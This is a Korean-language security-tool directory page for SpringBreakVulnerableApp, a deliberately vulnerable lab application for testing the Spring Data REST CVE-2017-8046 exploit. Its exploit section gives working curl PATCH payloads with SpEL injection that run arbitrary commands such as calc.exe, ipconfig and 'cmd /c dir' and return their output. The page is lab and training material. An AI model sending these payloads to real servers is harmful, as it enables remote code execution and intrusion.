Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
SpringBreakVulnerableApp — 경고: 이 애플리케이션은 Spring Break 취약점(CVE-2017-8046)의 익스플로잇을 테스트하기 위한 취약한 애플리케이션입니다. 실행 시 발생하는 위험은 본인이 감수하십시오! | Kitploit
도구/GitHubGitHub/m3ssap0/springbreakvulnerableapp
Vulnerability ScannersExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubm3ssap0/springbreakvulnerableapp

SpringBreakVulnerableApp

경고: 이 애플리케이션은 Spring Break 취약점(CVE-2017-8046)의 익스플로잇을 테스트하기 위한 취약한 애플리케이션입니다. 실행 시 발생하는 위험은 본인이 감수하십시오!

저장소 보기
14107년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Spring Break 취약 애플리케이션

Spring Break 취약점(CVE-2017-8046)에 대한 익스플로잇을 테스트하기 위한 취약 애플리케이션입니다.

경고!

이 애플리케이션에는 심각한 보안 취약점이 포함되어 있습니다. 실행 시 본인 책임입니다! 백업된 격리 환경(예: 최신 스냅샷과 호스트 전용 네트워킹을 갖춘 VM)에서 사용하는 것이 권장됩니다. 이 애플리케이션을 인터넷에 노출된 서버에 업로드하지 마십시오. 반드시 침해될 것입니다.

면책 조항: 본 애플리케이션(SpringBreakVulnerableApp)을 사용하는 방식에 대해 어떠한 책임도 지지 않습니다. 이 애플리케이션의 유일한 목적은 Spring Break 익스플로잇을 위한 테스트 시나리오를 제공하는 것이며 악의적으로 사용되어서는 안 됩니다. SpringBreakVulnerableApp을 설치하여 서버가 침해된 경우 이는 제 책임이 아니며, 해당 애플리케이션을 업로드하고 설치한 사람(들)의 책임입니다.

취약점 정보

  • CVE-ID: CVE-2017-8046
  • 링크: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-8046
  • 설명: Pivotal Spring Data REST의 2.5.12, 2.6.7, 3.0 RC3 이전 버전, Spring Boot의 2.0.0M4 이전 버전, Spring Data의 Kay-RC3 이전 릴리즈 트레인에 속한 spring-data-rest 서버에 악의적인 PATCH 요청을 제출하면 특수하게 조작된 JSON 데이터를 사용하여 임의의 Java 코드를 실행할 수 있습니다.

사용 방법

애플리케이션은 다음 Maven 명령으로 실행할 수 있습니다.

root@kitploit:~
mvn spring-boot:run

다음 Maven 명령으로 fat jar를 생성할 수 있습니다.

root@kitploit:~
mvn clean install spring-boot:repackage

데이터를 삽입하려면 다음 curl 명령을 사용할 수 있습니다.

root@kitploit:~
curl -i -X POST -H "Content-Type: application/json" -d '{ "name" : "Test", "attribute" : "foo"}' http://hostname:port/entity

익스플로잇

아마도 가장 간단한 익스플로잇은 다음 요청입니다.

root@kitploit:~
curl --request PATCH -H "Content-Type: application/json-patch+json" -d '[{ "op" : "replace", "path" : "T(java.lang.Thread).sleep(10000).x", "value" : "pwned" }]' "http://hostname:port/entity/1"

Windows에서는 다음 요청으로 calc.exe 프로세스를 실행할 수 있습니다. 유사한 요청으로 임의의 명령을 실행할 수도 있습니다.

root@kitploit:~
curl --request PATCH -H "Content-Type: application/json-patch+json" -d '[{ "op" : "replace", "path" : "T(java.lang.Runtime).getRuntime().exec(\"calc.exe\").x", "value" : "pwned" }]' "http://hostname:port/entity/1/"

실행된 명령의 출력을 얻으려면 Spring Framework 코드가 제공하는 일부 "gadget"을 사용할 수 있습니다. 다행히도 외부 종속성은 필요하지 않습니다. 예를 들어, ipconfig 명령의 결과는 다음 요청으로 검색할 수 있습니다.

root@kitploit:~
curl --request PATCH -H "Content-Type: application/json-patch+json" -d '[{ "op" : "replace", "path" : "T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec(\"ipconfig\").getInputStream(), T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream()).x", "value" : "pwned" }]' "http://hostname:port/entity/1/"

Windows에서는 다음 요청으로 cmd /c dir 명령 및 기타 유사한 명령을 실행할 수 있습니다. 실제 파싱 전에 명시적인 슬래시가 점으로 대체되는 점을 이용해 슬래시 문자를 명시적 값 없이 삽입하는 트릭에 유의하십시오.

root@kitploit:~
curl --request PATCH -H "Content-Type: application/json-patch+json" -d '[{ "op" : "replace", "path" : "T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec(\"cmd \" + T(java.lang.String).valueOf(T(java.lang.Character).toChars(0x2F)) + \"c dir\").getInputStream(), T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream()).x", "value" : "pwned" }]' "http://hostname:port/entity/1/"

이 취약점을 익스플로잇하기 위한 Java 프로그램은 여기에서 찾을 수 있습니다.

저자

  • Antonio Francesco Sardella - 구현 - m3ssap0

라이선스

이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다. 자세한 내용은 LICENSE.txt 파일을 참조하십시오.

감사의 말

  • 취약점을 발견한 보안 연구원 Man Yue Mo
도구 다운로드